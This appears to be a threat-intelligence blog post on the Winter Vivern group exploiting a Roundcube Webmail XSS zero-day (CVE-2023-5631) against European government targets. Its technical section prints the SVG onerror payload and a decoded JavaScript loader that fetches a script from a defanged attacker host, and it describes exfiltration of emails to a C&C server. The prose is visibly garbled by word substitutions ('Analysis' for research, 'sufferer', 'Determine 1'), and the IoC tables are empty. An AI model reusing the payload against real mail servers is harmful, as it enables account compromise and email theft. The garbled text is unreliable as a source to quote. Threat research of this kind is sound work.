Winter Vivern exploits zero-day vulnerability in Roundcube Webmail servers

ESET Analysis

ESET Analysis recommends updating Roundcube Webmail to the newest out there model as quickly as attainable

25 Oct 2023
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5 min. learn

ESET Analysis has been intently monitoring the cyberespionage operations of Winter Vivern for greater than a yr and, throughout our routine monitoring, we discovered that the group started exploiting a zero-day XSS vulnerability within the Roundcube Webmail server on October 11^th, 2023. It is a totally different vulnerability than CVE-2020-35730, which was additionally exploited by the group in keeping with our analysis.

In accordance with ESET telemetry information, the marketing campaign focused Roundcube Webmail servers belonging to governmental entities and a assume tank, all in Europe.

Vulnerability disclosure timeline:

• 2023-10-12: ESET Analysis reported the vulnerability to the Roundcube group.
• 2023-10-14: The Roundcube group responded and acknowledged the vulnerability.
• 2023-10-14: The Roundcube group patched the vulnerability.
• 2023-10-16: The Roundcube group launched safety updates to deal with the vulnerability (1.6.4, 1.5.5, and 1.4.15).
• 2023-10-18: ESET CNA points a CVE for the vulnerability (CVE-2023-5631).
• 2023-10-25: ESET Analysis blogpost printed.

We want to thank the Roundcube builders for his or her fast reply and for patching the vulnerability in such a short while body.

Winter Vivern profile

Winter Vivern is a cyberespionage group first revealed by DomainTools in 2021. It’s thought to have been lively since at the very least 2020 and it targets governments in Europe and Central Asia. To compromise its targets, the group makes use of malicious paperwork, phishing web sites, and a customized PowerShell backdoor (see the articles from the State Cyber Safety Centre of Ukraine and from SentinelLabs). We imagine with low confidence that Winter Vivern is linked to MoustachedBouncer, a complicated Belarus-aligned group that we first printed about in August, 2023.

Winter Vivern has been concentrating on Zimbra and Roundcube e-mail servers belonging to governmental entities since at the very least 2022 – see this text from Proofpoint. Particularly, we noticed that the group exploited CVE-2020-35730, one other XSS vulnerability in Roundcube, in August and September 2023. Be aware that Sednit (often known as APT28) is exploiting this previous XSS vulnerability in Roundcube as nicely, typically towards the identical targets.

Technical particulars

Exploitation of the XSS vulnerability, assigned CVE-2023-5631, may be finished remotely by sending a specifically crafted e-mail message. On this Winter Vivern marketing campaign, the emails had been despatched from group.managment@outlook[.]com and had the topic Get began in your Outlook, as proven in Determine 1.

At first sight, the e-mail doesn’t appear malicious – but when we look at the HTML supply code, proven in Determine 2, we are able to see an SVG tag on the finish, which comprises a base64-encoded payload.

As soon as we decode the base64-encoded worth within the href attribute of the use tag, we now have:

<svg id=”https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/x” xmlns=”http://www.w3.org/2000/svg”> <picture href=”https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/x” onerror=”eval(atob(‘<base64-encoded payload>’))” /></svg>

Because the x worth argument of the href attribute will not be a legitimate URL, this object’s onerror attribute will probably be activated. Decoding the payload within the onerror attribute provides us the next JavaScript code (with the malicious URL manually defanged), which will probably be executed within the browser of the sufferer within the context of their Roundcube session:

var fe=doc.createElement(‘script’);fe.src=”https://recsecas[.]com/controlserver/checkupdate.js”;doc.physique.appendChild(fe);

Surprisingly, we observed that the JavaScript injection labored on a completely patched Roundcube occasion. It turned out that this was a zero-day XSS vulnerability affecting the server-side script rcube_washtml.php, which doesn’t correctly sanitize the malicious SVG doc earlier than being added to the HTML web page interpreted by a Roundcube consumer. We reported it to Roundcube and it was patched on October 14^th, 2023 (see this commit). The vulnerability impacts Roundcube variations 1.6.x earlier than 1.6.4, 1.5.x earlier than 1.5.5, and 1.4.x earlier than 1.4.15.

In abstract, by sending a specifically crafted e-mail message, attackers are in a position to load arbitrary JavaScript code within the context of the Roundcube consumer’s browser window. No handbook interplay aside from viewing the message in an online browser is required.

The second stage is a straightforward JavaScript loader named checkupdate.js and is proven in Determine 3.

The ultimate JavaScript payload – proven in Determine 4 – is ready to checklist folders and emails within the present Roundcube account, and to exfiltrate e-mail messages to the C&C server by making HTTP requests to https://recsecas[.]com/controlserver/saveMessage.

Conclusion

For any inquiries about our analysis printed on WeLiveSecurity, please contact us at threatintel@eset.com.
ESET Analysis affords non-public APT intelligence experiences and information feeds. For any inquiries about this service, go to the ESET Risk Intelligence web page.

IoCs

Recordsdata

Community

E mail addresses

group.managment@outlook[.]com

This desk was constructed utilizing model 13 of the MITRE ATT&CK framework.